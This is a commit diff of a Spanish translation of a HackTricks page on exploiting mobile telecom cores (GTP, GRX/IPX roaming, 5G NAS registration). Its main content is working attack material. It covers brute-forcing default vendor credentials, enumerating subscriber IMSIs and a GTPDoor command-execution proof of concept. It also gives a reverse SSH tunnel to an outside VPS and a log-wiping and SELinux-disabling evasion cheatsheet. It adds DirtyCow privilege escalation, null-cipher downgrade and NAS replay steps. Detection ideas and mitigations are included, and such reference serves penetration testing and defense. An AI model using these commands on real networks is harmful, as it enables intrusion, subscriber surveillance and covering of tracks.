mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
parent
9dbcfee078
commit
ef954a58e8
@ -1,27 +1,27 @@
|
||||
# Explotación de Redes de Telecomunicaciones (GTP / Entornos de Roaming)
|
||||
# Explotación de redes de telecomunicaciones (GTP / Roaming Environments)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Los protocolos de núcleo móvil (Protocolo de Túnel GPRS – GTP) a menudo atraviesan espinas dorsales de roaming GRX/IPX semi-confiables. Debido a que se transmiten por UDP sin casi ninguna autenticación, **cualquier punto de apoyo dentro de un perímetro de telecomunicaciones puede generalmente alcanzar directamente los planos de señalización central**. Las siguientes notas recopilan trucos ofensivos observados en la naturaleza contra SGSN/GGSN, PGW/SGW y otros nodos EPC.
|
||||
> Los protocolos del core móvil (GPRS Tunnelling Protocol – GTP) a menudo atraviesan backbones de roaming semi-confiables GRX/IPX. Debido a que circulan sobre UDP con casi ninguna autenticación, **cualquier acceso dentro del perímetro de una telecom suele poder alcanzar directamente los planos de señalización del core**. Las siguientes notas recopilan trucos ofensivos observados en el wild contra SGSN/GGSN, PGW/SGW y otros nodos EPC.
|
||||
|
||||
## 1. Reconocimiento y Acceso Inicial
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Cuentas OSS / NE por Defecto
|
||||
Un conjunto sorprendentemente grande de elementos de red de proveedores se envía con usuarios SSH/Telnet codificados como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una lista de palabras dedicada aumenta drásticamente el éxito del ataque de fuerza bruta:
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
Un número sorprendentemente grande de elementos de red de proveedores se entrega con usuarios SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicada aumenta dramáticamente el éxito del brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Si el dispositivo expone solo un VRF de gestión, pivotea a través de un host de salto primero (ver sección «SGSN Emu Tunnel» a continuación).
|
||||
Si el dispositivo expone solo una VRF de gestión, pivota primero a través de un jump host (ver la sección «SGSN Emu Tunnel» más abajo).
|
||||
|
||||
### 1.2 Descubrimiento de Hosts dentro de GRX/IPX
|
||||
La mayoría de los operadores de GRX aún permiten **ICMP echo** a través de la red troncal. Combina `masscan` con las sondas UDP `gtpv1` integradas para mapear rápidamente los oyentes de GTP-C:
|
||||
### 1.2 Descubrimiento de hosts dentro de GRX/IPX
|
||||
La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP `gtpv1` integradas para mapear rápidamente los listeners GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumerando Suscriptores – `cordscan`
|
||||
## 2. Enumeración de suscriptores – `cordscan`
|
||||
|
||||
La siguiente herramienta de Go crea paquetes de **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el actual **SGSN / MME** que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor.
|
||||
La siguiente herramienta en Go genera paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** actual que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Banderas clave:
|
||||
Key flags:
|
||||
- `--imsi` IMSI del suscriptor objetivo
|
||||
- `--oper` Hogar / HNI (MCC+MNC)
|
||||
- `-w` Escribir paquetes en bruto a pcap
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Escribe paquetes raw a pcap
|
||||
|
||||
Constantes importantes dentro del binario pueden ser parcheadas para ampliar los escaneos:
|
||||
Constantes importantes dentro del binario pueden ser parcheadas para ampliar los scans:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Ejecución de Código sobre GTP – `GTPDoor`
|
||||
## 3. Ejecución de código sobre GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` es un pequeño servicio ELF que **vincula UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta a través de `/bin/sh -c`. La stdout/stderr se exfiltran dentro de los mensajes de **Echo Response** para que nunca se cree una sesión externa.
|
||||
`GTPDoor` es un pequeño servicio ELF que **escucha en UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltra dentro de mensajes **Echo Response** para que nunca se cree una sesión saliente.
|
||||
|
||||
Paquete PoC mínimo (Python):
|
||||
```python
|
||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detección:
|
||||
* cualquier host que envíe **Solicitudes de Eco desbalanceadas** a las IPs de SGSN
|
||||
* bandera de versión GTP configurada en 1 mientras el tipo de mensaje = 1 (Eco) – desviación de la especificación
|
||||
* cualquier host que envíe **unbalanced Echo Requests** a las IPs de SGSN
|
||||
* bandera de versión GTP establecida en 1 mientras el tipo de mensaje = 1 (Echo) – desviación respecto a la especificación
|
||||
|
||||
## 4. Pivotando a través del núcleo
|
||||
## 4. Pivoting a través del Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` envía un emulador de SGSN capaz de **establecer un contexto PDP hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el par de roaming.
|
||||
`OsmoGGSN` incluye un emulador de SGSN capaz de **establecer un PDP context hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el roaming peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Con un correcto hair-pinning de firewall, este túnel elude VLANs solo de señalización y te lleva directamente al **data plane**.
|
||||
Con un firewall hair-pinning adecuado, este túnel evita VLANs solo de señalización y te coloca directamente en el **data plane**.
|
||||
|
||||
### 4.2 Túnel SSH Inverso a través del Puerto 53
|
||||
DNS está casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno a tu VPS escuchando en :53 y regresa más tarde desde casa:
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS casi siempre está abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS escuchando en :53 y regresa más tarde desde casa:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Verifica que `GatewayPorts yes` esté habilitado en el VPS.
|
||||
Compruebe que `GatewayPorts yes` esté habilitado en el VPS.
|
||||
|
||||
## 5. Canales Encubiertos
|
||||
## 5. Canales encubiertos
|
||||
|
||||
| Canal | Transporte | Decodificación | Notas |
|
||||
|-------|------------|----------------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clave de 4 bytes + fragmentos de 14 bytes (XOR) | oyente pasivo puro, sin tráfico saliente |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (clave = `funnyAndHappy`) codificado en octetos de A-registro | observa el subdominio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC en IE privado | se mezcla con el tráfico legítimo de GTP-C |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | escucha pasiva pura, sin tráfico saliente |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | vigila el subdominio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | se mezcla con el tráfico legítimo de GTP |
|
||||
|
||||
Todos los implantes implementan watchdogs que **timestomp** sus binarios y se reinician si se caen.
|
||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if se bloquean.
|
||||
|
||||
## 6. Hoja de Trucos de Evasión de Defensa
|
||||
## 6. Cheatsheet de Defense Evasion
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Escalación de Privilegios en NE Legado
|
||||
## 7. Escalada de privilegios en NE heredado
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -116,25 +116,132 @@ Consejo de limpieza:
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Caja de Herramientas
|
||||
## 8. Caja de herramientas
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – herramientas personalizadas descritas en secciones anteriores.
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling descrito en secciones previas.
|
||||
* `FScan` : barridos TCP de intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS WPAD malicioso
|
||||
* `Microsocks` + `ProxyChains` : pivoteo ligero SOCKS5
|
||||
* `FRP` (≥0.37) : travesía NAT / puenteo de activos
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : ligero SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular el tráfico N2 (por ejemplo, on-path dentro del core, rogue gNB, o en un testbed).
|
||||
|
||||
Flujo de registro (simplificado):
|
||||
- Registration Request: UE envía SUCI (SUPI encriptado) y capacidades.
|
||||
- Authentication: AMF/AUSF envían RAND/AUTN; UE devuelve RES*.
|
||||
- Security Mode Command/Complete: se negocian y activan integridad y cifrado NAS.
|
||||
- PDU Session Establishment: configuración IP/QoS.
|
||||
|
||||
Consejos para el laboratorio (no RF):
|
||||
- Core: la implementación por defecto de Open5GS es suficiente para reproducir los flujos.
|
||||
- UE: simulador o UE de prueba; decodificar con Wireshark.
|
||||
- Herramientas activas: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Filtros de visualización útiles en Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Esperado: UE/USIM debe transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar un SUPI/IMSI en texto plano en el Registration Request indica un defecto de privacidad que permite el tracking persistente del suscriptor.
|
||||
|
||||
Cómo probar:
|
||||
- Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE.
|
||||
- Comprobaciones rápidas en Wireshark:
|
||||
- Debe decodificarse como SUCI, no como IMSI.
|
||||
- Ejemplos de filtros: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` debería existir; la ausencia junto con la presencia de `imsi` indica leakage.
|
||||
|
||||
Qué recopilar:
|
||||
- MCC/MNC/MSIN si se exponen; registrar por UE y rastrear a través del tiempo/ubicaciones.
|
||||
|
||||
Mitigación:
|
||||
- Forzar UEs/USIMs que usen solo SUCI; alertar sobre cualquier IMSI/SUPI en el NAS inicial.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Antecedentes:
|
||||
- UE anuncia EEA (encryption) y EIA (integrity) soportadas en el UE Security Capability IE del Registration Request.
|
||||
- Mapas comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos null.
|
||||
|
||||
Problema:
|
||||
- Debido a que el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capacidad para forzar la selección de EEA0/EIA0 más adelante durante Security Mode Command. Algunos stacks permiten erróneamente algoritmos null fuera de servicios de emergencia.
|
||||
|
||||
Pasos ofensivos:
|
||||
- Interceptar InitialUEMessage y modificar el NAS UE Security Capability para anunciar solo EEA0/EIA0.
|
||||
- Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capacidad antes de reenviar.
|
||||
- Observar si el AMF acepta null ciphers/integrity y completa Security Mode con EEA0/EIA0.
|
||||
|
||||
Verificación/visibilidad:
|
||||
- En Wireshark, confirmar los algoritmos seleccionados después de Security Mode Command/Complete.
|
||||
- Ejemplo de salida de sniffer pasivo:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Mitigaciones (obligatorias):
|
||||
- Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde sea estrictamente obligatorio (p. ej., llamadas de emergencia).
|
||||
- Preferir aplicar EEA2/EIA2 como mínimo; registrar y generar alertas ante cualquier contexto de seguridad NAS que negocie algoritmos nulos.
|
||||
|
||||
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
||||
Porque el NAS inicial carece de integridad y frescura, un InitialUEMessage+Registration Request capturado puede ser replayed al AMF.
|
||||
|
||||
Regla PoC para 5GReplay para reenviar replays coincidentes:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
property_id="101"
|
||||
type_property="FORWARD"
|
||||
description="Forward InitialUEMessage with Registration Request">
|
||||
|
||||
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="1"
|
||||
description="Trigger: InitialUEMessage"
|
||||
boolean_expression="ngap.procedure_code == 15"/>
|
||||
|
||||
<!-- Context match on NAS Registration Request (message_type == 65) -->
|
||||
<event value="COMPUTE"
|
||||
event_id="2"
|
||||
description="Context: Registration Request"
|
||||
boolean_expression="nas_5g.message_type == 65"/>
|
||||
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
Qué observar:
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
|
||||
Mitigaciones:
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: levantar un AMF/SMF/UPF para emular el core; observar N2 (NGAP) y NAS.
|
||||
- Wireshark: verificar las decodificaciones de NGAP/NAS; aplicar los filtros anteriores para aislar Registration.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
|
||||
---
|
||||
## Ideas de Detección
|
||||
1. **Cualquier dispositivo que no sea un SGSN/GGSN estableciendo Solicitudes de Crear Contexto PDP**.
|
||||
2. **Puertos no estándar (53, 80, 443) recibiendo apretones de manos SSH** desde IPs internas.
|
||||
3. **Solicitudes de Eco frecuentes sin Respuestas de Eco correspondientes** – podría indicar balizas de GTPDoor.
|
||||
4. **Alta tasa de tráfico de respuesta de eco ICMP con campos de identificador/secuencia grandes y no cero**.
|
||||
## Ideas de detección
|
||||
1. **Cualquier dispositivo distinto de un SGSN/GGSN estableciendo Create PDP Context Requests**.
|
||||
2. **Puertos no estándar (53, 80, 443) recibiendo SSH handshakes** desde IPs internas.
|
||||
3. **Frecuentes Echo Requests sin Echo Responses correspondientes** – puede indicar GTPDoor beacons.
|
||||
4. **Alta tasa de tráfico ICMP echo-reply con campos de identifier/sequence grandes y no cero**.
|
||||
5. 5G: **InitialUEMessage que transporta NAS Registration Requests repetidos desde endpoints idénticos** (señal de replay).
|
||||
6. 5G: **NAS Security Mode negociando EEA0/EIA0** fuera de contextos de emergencia.
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltración de Redes de Telecomunicaciones Globales](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – Protocolo de Túnel GPRS (v16.4.0)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user